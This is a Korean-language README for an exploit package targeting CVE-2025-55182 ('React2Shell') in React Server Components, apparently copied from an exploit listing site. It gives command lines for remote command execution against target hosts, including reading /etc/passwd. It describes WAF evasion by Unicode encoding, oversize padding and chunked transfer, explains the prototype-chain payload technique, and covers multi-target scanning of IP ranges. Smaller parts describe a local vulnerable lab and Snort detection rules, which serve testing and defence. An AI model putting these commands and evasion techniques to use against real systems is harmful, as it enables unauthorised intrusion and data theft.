Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

## https://sploitus.com/exploit?id=658EF8D0-E065-55B6-B956-B180D4DF6B4E
# CVE-2025-55182 (React2Shell) 핵심 패키지

## 📦 포함 파일

### 1. 취약한 Docker 이미지
- **docker-compose.yml** - 취약한 Next.js 앱 실행 환경
  ```bash
  docker-compose up -d
  # http://localhost:3000 에서 실행됨
  ```

### 2. 공격 도구 (POC)
- **exploit_advanced.py** - 고급 익스플로잇 (ejpir 기법, WAF 우회)
  ```bash
  # 기본 공격
  python3 exploit_advanced.py -u http://target.com -c "whoami" --basic
  
  # 고급 공격 (자기 참조 thenable + fake _response)
  python3 exploit_advanced.py -u http://target.com -c "id" --advanced
  
  # WAF 우회 (Unicode 인코딩)
  python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
  
  # 오버사이즈 공격 (AWS WAF 크기 제한 우회)
  python3 exploit_advanced.py -u http://target.com -c "whoami" --oversize 65536
  
  # 청크 전송 (분산 패턴 배치로 WAF 우회)
  python3 exploit_advanced.py -u http://target.com -c "whoami" --chunked
  
  # 모든 방법 시도
  python3 exploit_advanced.py -u http://target.com -c "id" --all -v
  ```

### 3. 진단 도구
- **rsc_vulnerability_checker.py** - 단일 타겟 진단 도구
  ```bash
  python3 rsc_vulnerability_checker.py http://localhost:3000
  ```

- **rsc_vulnerability_checker_multi.py** - 멀티 타겟 진단 도구
  ```bash
  # 여러 URL 스캔
  python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
  
  # 파일에서 URL 읽기
  python3 rsc_vulnerability_checker_multi.py -f targets.txt -o result.csv
  
  # IP 범위 스캔
  python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
  ```

### 4. Snort 탐지 룰
- **rules_priority_based** - 우선순위 기반 Snort 룰셋
  - P0 (SID 2000xxx): 확정 악성 패턴 - 즉시 차단
  - P1 (SID 2001xx): 악성 가능성 높음 - 관제 검토 필요
  - P2 (SID 2002xx): 의심 단계 - 환경 의존적
  ```bash
  snort -c snort.conf -r attack.pcap -A console
  ```

## 🚀 빠른 시작 가이드

### 1단계: 취약한 환경 구축
```bash
docker-compose up -d
# http://localhost:3000 접속 확인
```

### 2단계: 진단 실행
```bash
# 단일 진단
python3 rsc_vulnerability_checker.py http://localhost:3000

# 멀티 진단
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
```

### 3단계: 공격 테스트
```bash
# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# 고급 공격 (모든 방법 시도)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all -v

# 청크 전송 공격 (WAF 우회)
python3 exploit_advanced.py -u http://localhost:3000 -c "uname -a" --chunked -v
```

### 4단계: 네트워크 트래픽 캡처 및 분석
```bash
# tcpdump로 캡처
sudo tcpdump -i lo0 -w attack.pcap port 3000

# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none
```

## 📊 공격 기법 비교

| 공격 방식 | WAF 우회 | 난이도 | 탐지 회피 | 용도 |
|----------|----------|--------|----------|------|
| Basic | ❌ | ⭐ | 낮음 | 교육, 기본 테스트 |
| Advanced (thenable) | ✅ (Unicode) | ⭐⭐⭐ | 높음 | 실전, WAF 환경 |
| Chunked | ✅ (분산) | ⭐⭐ | 매우 높음 | 패턴 매칭 우회 |
| Oversize | ✅ (크기) | ⭐⭐ | 높음 | AWS WAF 우회 |

## 🎯 고급 기법 설명

### exploit_advanced.py 주요 기법
- **자기 참조 thenable**: `then: "$1:__proto__:then"` - Chunk.prototype.then 트리거
- **fake _response 주입**: 공격자 제어 영역 확대
- **$B 핸들러 체인**: response._formData.get(response._prefix + id) 악용
- **프로토타입 체인 순회**: `$1:constructor:constructor` → Function 접근
- **WAF 우회 기법**:
  - **Unicode 인코딩**: `constructor` → `\u0063onstructor`
  - **Oversize 페이로드**: 8-64KB 패딩으로 AWS WAF 검사 영역 우회
  - **Chunked Transfer**: 페이로드를 작은 청크로 분할하여 패턴 매칭 회피

## 🚀 빠른 시작 가이드

### 3단계: 진단 도구 실행
```bash
python3 rsc_vulnerability_checker.py http://localhost:3000
```

### 4단계: Snort 탐지 테스트
```bash
# PCAP 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit.py -c "whoami"
sudo pkill tcpdump

# Snort 분석
snort -r attack.pcap -c snort.conf -A console
```

## 📋 필수 요구사항

- Docker & Docker Compose
- Python 3.8+
- requests 라이브러리 (`pip install requests`)
- Snort 2.9+ (탐지 룰 테스트용, 선택사항)